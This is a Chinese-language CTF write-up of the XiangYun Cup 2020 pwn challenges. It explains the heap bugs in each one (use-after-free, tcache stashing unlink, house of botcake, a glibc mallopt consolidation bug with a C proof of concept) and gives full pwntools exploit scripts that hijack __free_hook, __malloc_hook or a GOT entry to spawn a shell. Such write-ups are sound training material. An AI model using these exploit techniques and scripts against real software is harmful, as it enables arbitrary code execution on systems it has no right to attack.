首页
论坛
课程
招聘
[原创]祥云杯2020 PWN 详解
2020-11-26 15:16 2633

[原创]祥云杯2020 PWN 详解

2020-11-26 15:16
2633

祥云杯2020 PWN 详细分析

Written by ScUpax0s

Beauty_of_ChangChun

glibc 2.31

 

漏洞点在delete函数free的时候只清空了 size表中的LOWBYTE,如果size表中记录的是0x100这样的,就相当于没清,造成UAF。

 

并且申请0xf9会返回0x110,相当于可以获得0x110的chunk的UAF以及重复利用。

 

最后打 tcache stashing unlink,往buf_addr写一个main_arena地址即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
# encoding=utf-8
from pwn import *
#from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.31.so"
elf_path = "./pwn"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
 
 
 
cho='4: Enjoy scenery'      # choice提示语
siz='size:'     # size输入提示语
con='chat:'         # content输入提示语
ind='idx:'      # index输入提示语
edi=''          # edit输入提示语
def add(size,content='',c='1'):
    sal(cho,c)
    sal(siz,str(size))
def free(index,c='2'):
    sal(cho,c)
    sal(ind,str(index))
def show(index,c='4'):
    sal(cho,c)
    sal(ind,str(index))
def edit(index,content='',c='3'):
    sal(cho,c)
    sal(ind,str(index))
    sa(con,content)
def big(c='666'):
    sal(cho,c)
 
# 获取pie基地址
def get_proc_base(p):
    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
    info(hex(proc_base))
 
# 获取libc基地址  
def get_libc_base(p):
    libc_base = p.libs()[libc_path]
    info(hex(libc_base))
def d():
    pause()
def exp():
    global io
    io = process(elf_path)
    #io = remote("112.126.71.170",43652)
    ru(b'A gift from ChangChun People\n')
    buf_addr = ((r(len('7f61db039000'))))
    buf_addr = int(buf_addr.decode(),16)
    success("buf_Addr:"+hex(buf_addr))
    #libc.address = buf_addr-0x232000
 
 
    add(0x100#0
    add(0xf9)   #1          
    add(0x100#2            # 0xf9对齐到0x110
 
    #add(0x80)   #2
    free(1)
    for i in range(7):
        add(0xf9)   
        free(1)     
 
    free(0)
    free(2)
    big()           # (0x110)smallbin: #2 -> #0
 
    # 用smallbin里的两个chunl拿到heap和libc
    show(2)
    ru("see\n")
    heap = u64(r(6).ljust(8,b'\x00')) - 0x290
    success("heap:"+hex(heap))
    show(0)
    libc.address = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))-352-0x10-libc.sym['__malloc_hook']
    success("libc base:"+hex(libc.address))
 
    #add(0x100)       # 从满的tcahce里取一个,此时tcahce为6个
 
    # First time in magic: malloc(0x108)
    sl('5')
    sl('a'*8)
 
    # (0x110)smallbin: #2 -> #0
    # hijack #2's bk = buf_addr-0x10,并且保证 2's fd不变。因为要保证 bck->fd == victim(最后一个chunk)
    edit(2,p64(heap+0x290)+p64(buf_addr-0x10))
 
    add(0x100)
    pause()
    # 触发stashing,此时buf_addr被写上了bin的地址
    bin_addr = 0x1ebce0+libc.address
    edit(0,p64(bin_addr))
 
 
    sl('5')
    sl('0') # 此时0号chunk的一开始存了bin_addr
    shell()
 
 
 
exp()

ying_liu_zhi_zhu

这题非预期解有点多啊。

  • add开0x60(最多add 11次)

  • free后UAF,配合edit随便修改free chunk的指针

  • show输出8字节内容

  • fun_glob如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    unsigned __int64 fun_glob()
    {
      signed int i; // [rsp+Ch] [rbp-104h]
      glob_t pglob; // [rsp+10h] [rbp-100h]
      char pattern[168]; // [rsp+60h] [rbp-B0h]
      unsigned __int64 v4; // [rsp+108h] [rbp-8h]
     
      v4 = __readfsqword(0x28u);
      for ( i = 0; i <= 0xA5; ++i )
      {
        read(0, &pattern[i], 1uLL);
        if ( pattern[i] == '\n' )
        {
          pattern[i] = 0;
          break;
        }
      }
      memset(&pglob, 0, sizeof(pglob));
      if ( !glob(pattern, 0x1002, 0LL, &pglob) )
        globfree(&pglob);
      return __readfsqword(0x28u) ^ v4;
    }

思路1(scanf溢出打mallochook)

由于使用了scanf函数,而scanf函数,会调用 _IO_vfscanf (s, fmt, ap, errp);其中s是stdin,最后_IO_file_doallocate会调用malloc一个0x400的空间,作为stdin的缓冲区,然后把读入的内容放入缓冲区。

 

但是如果我们输入大于0x400长度的数字,此时没法全部放到stdin缓冲区里。他会再申请一次0x800的缓冲区,然后把缓冲区1中的内容拷贝过去。然后最后会把第二块缓冲区free掉。我们可以利用0x800这次申请,将fastbin中的chunk合并,获得一个smallbin中的chunk,泄露libc地址。

 

DYnPbj.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
# encoding=utf-8
from pwn import *
 
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
#libc_path = "./libc-2.23.so"
#libc_path = "./libc6_2.23-0ubuntu3_amd64.so"
elf_path = "./ying_liu_zhi_zhu"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
cho=''      # choice提示语
siz=''     # size输入提示语
con=''         # content输入提示语
ind=''      # index输入提示语
edi=''          # edit输入提示语
def add(content='',c='1'):
    sl('1')
 
def free(index,c='2'):
    sl(c)
    sl(str(index))
def show(index,c='4'):
    sl(c)
    sl(str(index))
def edit(index,content='',c='3'):
    sl(c)
    sl(str(index))
    s(content)
def glob(file='',c='5'):
    sl(c)
    sl(str(file))
 
# 获取pie基地址
def get_proc_base(p):
    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
    info(hex(proc_base))
 
# 获取libc基地址  
def get_libc_base(p):
    libc_base = p.libs()[libc_path]
    info(hex(libc_base))
 
def exp():
    global io
    io = process(elf_path)
    add() # 0
    add() # 1
    add() # 2
    free(0)
    free(1)
    sl('4')
    sl('9'*0x410)
 
    sl('4')
    sl('4')
    sl(str(0))
    leak = u64(ru("\x7f")[-6:].ljust(8,'\x00'))
    libc.address = leak - 296 - 0x10 - libc.sym['__malloc_hook']
    success("libc:"+hex(libc.address))
    if libc.address >> 40 != 0x7F:
        raise Exception('error leak!')
 
    fake_addr = libc.sym['__malloc_hook']-0x23  #0x7ffff7dd1aed - 0x7ffff7a0d000 + libc.address
    #success("mallochook-0x23:"+hex(fake_addr))
    free(1)
    edit(1,p64(fake_addr))
    add()   #3
    add()   #4
    ogg = libc.address+0x4527a
    realloc = libc.sym['realloc']
    edit(4,'a'*0xb+p64(ogg)+p64(realloc+4))
    add()
    shell()
 
# exp()
 
 
while(1):
    try:   
        exp()
        io.close()
    except Exception:
        io.close()

思路2(打chunk table劫持freehook)

main函数在一开始规定了add、free、edit等等的次数。但是 if(a){} 这样写的话,只有当a为0的时候不进if内,当a为负时会进if。所有所以可以在这个if里做一个减的溢出,这样我们add、edit、delete次数的限制就打开了(这里的break跳不出while循环,不知道是不是出题人故意留的漏洞)

 

然后bss的chunk table上方有stderr,可以错位构造一个0x7f把chunk申请过去,最后劫持chunk table打freehook传/bin/sh\x00即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
# encoding=utf-8
from pwn import *
 
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
#libc_path = "./libc-2.23.so"
#libc_path = "./libc6_2.23-0ubuntu3_amd64.so"
elf_path = "./ying_liu_zhi_zhu"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
cho=''      # choice提示语
siz=''     # size输入提示语
con=''         # content输入提示语
ind=''      # index输入提示语
edi=''          # edit输入提示语
def add(content='',c='1'):
    sl('1')
 
def free(index,c='2'):
    sl(c)
    sl(str(index))
def show(index,c='4'):
    sl(c)
    sl(str(index))
def edit(index,content='',c='3'):
    sl(c)
    sl(str(index))
    s(content)
def glob(file='',c='5'):
    sl(c)
    sl(str(file))
 
def exp():
    global io
    io = process(elf_path)
    #io = remote("8.131.69.237",45123)
    #io = remote("112.126.71.170",45123)
 
    # free、edit次数溢出
    for i in range(5):       
        free(11)
    for i in range(5):
        edit(11)
 
    add() # 0
    add() # 1
    free(0)
    free('1'*0x400)
    #shell()
 
    show(0)
    libc.address = u64(
        r(6).ljust(8,'\x00')
    )-184-0x10-libc.sym['__malloc_hook']
    success("libc:"+hex(libc.address))
 
    mh = libc.sym['__malloc_hook']
    fh = libc.sym['__free_hook']
    system = libc.sym['system']
 
    add()   #2 smallbin里的拿回来, #2 = #0
    free(1)
    free(2)
 
    edit(2,p64(0x60203d))   # chunk list上方是stderr指针,有一个0x7f的大数,可以申请到chunk list
 
    add()
    add()
    add()
 
    success("fh:"+hex(fh))   
    edit(8,'\x00'*0x13+p64(fh))
    edit(0,p64(system))
 
    edit(1,'/bin/sh\x00')
#    free(1)
    #pause()
    free(1)
    shell() .
exp()

思路3(利用glob拿到一个ub里的free chunk)

题目给了glob函数,而glob函数中 可以产生(但不一定) 一个很大的堆操作,可以获得一个大小为 0x8040的unsortedbi的chunk,再申请出来泄露地址即可。后面一样的。

 

1
2
3
4
5
6
7
8
9
10
global io
io = process(elf_path)
glob("*"
pause()   
add()   # 0
add(1#1
 
show(1)
libc.address = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-0x10-libc.sym['__malloc_hook']-1960
success("libc:"+hex(libc.address))

调用链:

 

 

 

源码对应的在这里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
DIR *
internal_function
__alloc_dir (int fd, bool close_fd, int flags, const struct stat64 *statp)
{
 
   {
      if (__builtin_expect (__fcntl (fd, F_SETFD, FD_CLOEXEC), 0) < 0)
    goto lose;
    }
 
  const size_t default_allocation = (4 * BUFSIZ < sizeof (struct dirent64)
                     ? sizeof (struct dirent64) : 4 * BUFSIZ);
  const size_t small_allocation = (BUFSIZ < sizeof (struct dirent64)
                   ? sizeof (struct dirent64) : BUFSIZ);
 
  size_t allocation = default_allocation;
 
 
  DIR *dirp = (DIR *) malloc (sizeof (DIR) + allocation);

可以看到在 __alloc_dir 中一开始令:size_t allocation = default_allocation;而 default_allocation是 4 * BUFSIZ和sizeof (struct dirent64)中更大的那个。

 

最后malloc的大小为:sizeof (DIR) + allocation,DIR是目录结构体。

 

其中:

  • BUFSIZ为8192(0x2000)

  • 1
    2
    3
    4
    5
    6
    7
    8
    9
    struct dirent64
      {
        __ino64_t d_ino;
        unsigned short int d_reclen;
        unsigned char d_type;
        unsigned char d_namlen;
     
        char d_name[1];
      };
  • 1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    struct __dirstream    
       {    
        void *__fd;     
        char *__data;     
        int __entry_data;     
        char *__ptr;     
        int __entry_ptr;     
        size_t __allocation;     
        size_t __size;     
        __libc_lock_define (, __lock)     
       };    
     
    typedef struct __dirstream DIR;

经过实际调试这个sizeof(DIR)似乎是0x30。

 

 

经过我的测试,想要达成malloc(0x8030)我们可以通过给glob一个目录(带*通配),比如”./test/*“,或者exp*这种通配也可以。但是如果调用glob("exp.py")这种,就会越过 __alloc_dir 这一步操作。(翻译过来就是:“给目录分配空间orz”

 

而造成这个的原因在 glob_in_dir() 函数中使用:__glob_pattern_type (pattern, !(flags & GLOB_NOESCAPE));

 

做了一次匹配。

 

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static int
glob_in_dir (const char *pattern, const char *directory, int flags,
         int (*errfunc) (const char *, int),
         glob_t *pglob, size_t alloca_used)
{
  size_t dirlen = strlen (directory);
  void *stream = NULL;
     /*
     这里省略一大串
 
     */
 
  meta = __glob_pattern_type (pattern, !(flags & GLOB_NOESCAPE));    //进行判断or匹配
  if (meta == 0 && (flags & (GLOB_NOCHECK|GLOB_NOMAGIC)))//第一种情况
    {
      flags |= GLOB_NOCHECK;
    }
  else if (meta == 0)//第二种情况
    {
      /*
      省略
      */
    }
  else                                                        //最后一种情况,就是在这里调用了opendir!
    {
      stream = (__builtin_expect (flags & GLOB_ALTDIRFUNC, 0)
        ? (*pglob->gl_opendir) (directory)
        : opendir (directory));

其中调用了:__glob_pattern_type() 做匹配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int
__glob_pattern_type (const char *pattern, int quote)
{
  const char *p;
  int ret = 0;
 
  for (p = pattern; *p != '\0'; ++p)
    switch (*p)
      {
      case '?':
      case '*':        //当存在*通配时,直接return 1
    return 1;
 
      case '\\':
    if (quote)
      {
        if (p[1] != '\0')
          ++p;
        ret |= 2;
      }
    break;
 
      case '[':
    ret |= 4;
    break;
 
      case ']':
    if (ret & 4)
      return 1;
    break;
      }
 
  return ret;
}

所以这里就非常清楚了。当存在“ * ”时,__glob_pattern_type() 返回1,进入最后的else,调用opendir,最终malloc(0x8030)

 

之后还会有类似如下的多个调用,取决于你要找的目录下面的文件:

 

 

具体开了多大取决于你文件名。这些chunk存储的是文件名字符串。然后还会开一张表这张表存储每个strdup开出来的位置。

 

最后会调用free把strdup开出来的chunkk全部free掉。然后最终free掉那张表。

garden

  • add函数只能开0x100。index限制在0-8一共9个。malloc后直接read0x100
  • free后清空table中指针。无uaf
  • show限制一次,puts输出
  • UAF函数给了一次free后不清指针的机会,只能使用一次
  • get_0x20提供了一次malloc(0x20),只能使用一次

本题主要考察: house_of_botcake配合tcache 灵活利用。

 

house of botcake实际就是通过overlap一个chunk同时放入ub和tc中,然后错位切割,劫持指针来做任意地址申请。

 

本题我们首先通过把一个合并后的大chunk放入ub和tc,利用uaf泄露地址。然后malloc 0x20切割一次。

 

 

而由于此时我们已经切割了一次0x20了,那么当我们再从ub里申请0x100时就会申请到heap+0x290位置的chunk(0x100大小),而如果把这个申请回来。再free出去就实现了:0x290 -> 0x370,由于add一次可以read 0x100,此时就可以劫持0x370处的next指针。

 

效果如下:

 

 

之后打freehook起system('/bin/sh\x00')

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
# encoding=utf-8
from pwn import *
#from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.29.so"
elf_path = "./garden"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
cho='>>'      # choice提示语
siz=''     # size输入提示语
con='tree name?'         # content输入提示语
ind='tree index?'      # index输入提示语
edi=''          # edit输入提示语
def add(index,content='',c='1'):
    # malloc(0x100)
    sal(cho,c)
    sal(ind,str(index))
    sal(con,content)
def free(index,c='2'):
    #sal(cho,c)
    sal(cho,c)
    sal(ind,str(index))
 
def show(index,c='3'):
    sal(cho,c)
    sal(ind,str(index))
def uaf(index,c='5'):
    sal(cho,c)
    sal("which tree do you want to steal?",str(index))
def get_0x20(c='6'):
    sal(cho,c)
def d():
    pause()
 
# 获取libc基地址  
def get_libc_base(p):
    libc_base = p.libs()[libc_path]
    info(hex(libc_base))
 
def exp():
    global io
    io = process(elf_path)
    for i in range(9):
        add(i,'a'*0x10)
    #pause()
    for i in range(2,7):
        free(10-i)
    #pause()
    free(2)
    free(3)
    uaf(1)
    free(0) # 0x220 in ub
    show(1)
    libc.address = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-96-0x10-libc.sym['__malloc_hook']
    success("libc:"+hex(libc.address))
 
 
    add(3)      # 从 full tcache中拉一个回来
    free(1)
 
    get_0x20()
 
    free(3)
    #            unsortbin: 0x559a2674d580 (size : 0x110) <--> 0x559a2674d280 (size : 0x1f0)
    #(0x110)   tcache_entry[15](7): 0x559a2674d370 (overlap chunk with 0x559a2674d280(freed) )
 
    for i in range(7):
        add(i)
 
    add(7,"unsortedbin back(0x110)")
    add(8,"unsortedbin cut")    # 0x1f0 -> 0xe0
    #d()
    free(0)
    free(8)
    d()
    add(8,'\x00'*0xd0+p64(0)+p64(0x111)+p64(libc.sym['__free_hook']))
    for i in range(6):
        free(8-i)
 
    free(1)
    free(2)
    for i in range(5):
        add(i)
    add(6,'/bin/sh\x00')
 
    #           unsortbin: 0x5563c78a0690 (size : 0x110) <--> 0x5563c78a0390 (size : 0x1f0)
#0x110)   tcache_entry[15](1): 0x5563c78a0370 (overlap chunk with 0x5563c78a0390(freed) )   
    d()
    add(7)
    success(hex(libc.sym['__free_hook']))
    add(8,p64(libc.sym['system']))
    free(6)
    shell()
exp()

把嘴闭上

mallop“漏洞”

漏洞链接:https://sourceware.org/bugzilla/show_bug.cgi?id=25733 (要求glibc<=2.26)

 

漏洞成因:malloc_consolidate重复调用,导致top_chunk = unsortebin

 

mallopt会调用 malloc_consolidate (av);

1
2
3
4
5
6
7
8
9
10
11
int
__libc_mallopt (int param_number, int value)
{
  mstate av = &main_arena;
  int res = 1;
 
  if (__malloc_initialized < 0)
    ptmalloc_init ();
  (void) mutex_lock (&av->mutex);
  /* Ensure initialization/consolidation */
  malloc_consolidate (av);

PoC.c如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>
 
int main(void) {
    setbuf(stdout,0);
    setbuf(stderr,0);
    setbuf(stdin,0);
 
 
    // Populate last_remainder, which is treated as the top chunk size field
    // after main arena re-initialization.
    void* remainder_me = malloc(0x418);
    malloc(0x18); // Avoid top chunk consolidation.
    free(remainder_me);
    malloc(0x18); // Remainder remainder_me chunk.
    getchar();
 
    // Set global_max_fast to 0.
    mallopt(M_MXFAST, 7);
    getchar();
 
    // Trigger malloc_consolidate(), which could happen during large
    // allocations/frees, but for the sake of simplicity here just call
    // mallopt() again.
    // 这里用mallopt触发 malloc_consolidate 来初始化堆空间(因为检测到max fast=0
    mallopt(M_MXFAST, 0x78);
    getchar();
    //初始化结束后,会使top_chunk = &unsortedbin
 
    // malloc_consolidate() uses global_max_fast to determine if malloc has
    // been initialized. If global_max_fast is 0, malloc_consolidate() will
    // re-initialize the main arena, setting its top chunk pointer to an address
    // within the main arena. Now last_remainder acts as the top chunk size
    // field.
    printf("%p\n", malloc(0x418));         
    getchar();
 
    return 0;
}

static void malloc_consolidate(mstate av) 源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static void malloc_consolidate(mstate av)
{
  /*
  ......
  */
 
  /*
    If max_fast is 0, we know that av hasn't
    yet been initialized, in which case do so below
  */
 
  if (get_max_fast () != 0) {
    /*
    ....
    */
  }
  else {
    malloc_init_state(av);
    check_malloc_state(av);
  }
}

当此时的max fast为0时,会做 malloc_init_state(av) 再做初始化。

 

此时,会将top chunk的指针设置成 bin本身的地址。

 

可以打一个watch在unsortedbin对应的地址上查看。

 

发现是 malloc_init_state(av); 中的这一条命令造成的:

 

 

initial_top相当于bin_at,所以本质就是重复初始化了一遍,相当于自己对自己做了一个赋值

1
watch *(int *)0x7ffff7dd1b78

 

再malloc一次大于0x400的可以拿到一个main_arena上的chunk

 

所以这道题就很像一个根据这个PoC打的一个模板题了。我本来的想法是,首先构造出这样的,top chunk,mallopt调整fastbin大小为largechunk的大小,然后free出去此时会被挂在一个evil addr,然后我们再申请过去改fastbin指针,然后申请evilfastbin的大小达到任意申请。但是发现不可行,因为ub的地址没有对齐到2*size_t。

 

不过既然我们已经可以申请到main_arena上也就是libc里(mapped)的地址,那么就可以直接申请直到freehook覆盖为system即可,而freehook会在验证对齐之前调用,所以不用担心对齐的问题了。

 

这道题是我认为本次比赛最好玩的一道题

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
# encoding=utf-8
from pwn import *
#from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda delim, buf: success(delim+buf)
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path = "./ba_zui_bi_shang"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
cho='>您想做什么?\n影帝 > '      # choice提示语
siz=''     # size输入提示语
con='>商品名?'         # content输入提示语
ind='tree index?'      # index输入提示语
edi=''          # edit输入提示语
def add(len,content='',c='1'):
    sal(cho,c)
    sal(">商品名长度?",str(len))
    sal(con,content)
def free(c='2'):
    sal(cho,c)
def mallopt(rdi,rsi):
    sal(cho,'3')
    sal(">多少钱",str(rdi))
    sal(">多少件?",str(rsi))
def large(len,con=''):
    sal(cho,'4')
    sal(">专场商品列表长度?",str(len))
    sa(">专场商品列表?",con)
def d():
    pause()
 
# 获取libc基地址  
def get_libc_base(p):
    libc_base = p.libs()[libc_path]
    info(hex(libc_base))
 
def exp():
    global io
    io = process(elf_path)
    ru("Your Gift : ")
    libc.address =  int(r(len("0x7f91e44a66a0")),16)-libc.sym['puts']
    su('lib:',hex(libc.address))
    item_list_len = 0x418
    item_list = 'a'*0x418
    sal(">专场商品列表长度?",str(item_list_len))
    sal(">专场商品列表?",item_list)
    mh = libc.sym['__malloc_hook']
    fh = libc.sym['__free_hook']
    success(hex(fh))
 
    add(0x18,'b'*0x18)      # defense chunk add 1
    #large('b'*0x18)
    free()                  # free 1
    add(0x18,'c'*0x18)      # add 2
    #d()
    mallopt(1,7)            # mallopt 1
    mallopt(1,0x78)         # mallopt 2   这里可以调大到largebin大小
 
 
    large(0x408,"\x78")         # 拿到ub(libc)
    large(0x4f8,"\x78")
    large(0x4f8,"\x78")
    large(0x4f8,"\x78")
    large(0x4f8,"\x78")
    large(0x4f8,'/bin/sh\x00'+'\00'*0x408+p64(libc.sym['system']))
    free()
    shell()
 
 
exp()
"""
  add_times = 2;
  del_times = 2;
  mallopt_times = 2;
  large_reuest_times = 7;
 
    del 前必须 add或large request
    vul 前必须 del
 
"""

babypwn(C++)

详细的逆向可以推荐看我传上来的ida文件。

 

泄露libc和heap地址

write函数输出的是 newest_Init->v_ptr ,但是当连续两次调用Init后,会free掉之前create创建的Init 对象。由于此时没有调用add,所以记录的还是free之前的,然后调用show即可泄露地址(此时now_Create_obj->newest_Init存的是smallbin的fd),可以一次泄露heap和libc

getshell

通过多次的重复Init() 配合 add() 可以实现任意地址写。最后劫持strtolog的got为system,发送sh即可。(实际测试可能要多试几次)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
# encoding=utf-8
from pwn import *
from LibcSearcher import *
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
 
libc_path = "/lib/x86_64-linux-gnu/libc-2.23.so"
elf_path = "./pwn"
libc = ELF(libc_path)
elf = ELF(elf_path)
#io = remote("node3.buuoj.cn",26000)
if sys.argv[1]=='1':
    context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
elif sys.argv[1]=='0':
    context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')
#io = process([elf_path],env={"LD_PRELOAD":libc_path})
 
 
 
 
cho='choice:'      # choice提示语
siz='please input size:'     # size输入提示语
con='content:'         # content输入提示语
ind=''      # index输入提示语
edi=''          # edit输入提示语
def init(c='1'):
    sal(cho,c)
def create(c='2'):
    sal(cho,c)
def add(size,c='3'):
    sal(cho,c)
    sal(siz,str(size))
def set(content='',c='4'):
    sal(cho,c)
    sa(con,content)
def show(c='5'):
    sal(cho,c)
def size(c='6'):
    sal(cho,c)
def d():
    pause()
def exp():
    global io
    io = process(elf_path)
                    # 0x20 Father
    init()          # 0x90 Class1
    create()        # 0x20  new_obj
 
    add(0x38)       # 0x40
    add(0x48)
 
    class1_vtable_addr = 0x401990
    init()
    #d()
    add(0x88)       # 放入smallbin
    show()
    libc.address = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-88-0x10-libc.sym['__malloc_hook']
    fh = libc.sym['__free_hook']
    mh = libc.sym['__malloc_hook']
    success("libc:"+hex(libc.address))
    r(2)
    heap = u64(r(6).ljust(8,'\x00'))-(0x236fc40-0x235e000)
    success("heap:"+hex(heap))
    #create()
    pop_rdi = 0x0000000000401833
    bin_sh = libc.address+0x000000000018ce17
    leave_ret = 0x0000000000042361+libc.address
 
    #set(p64(0)+libc.sym['__free_hook'])
    create()
    init()
    add(0x88)
    set(p64(0)+p64(elf.got['strtol']))
    set(p64(libc.sym['system']))
    s("sh\x00")
    shell()        
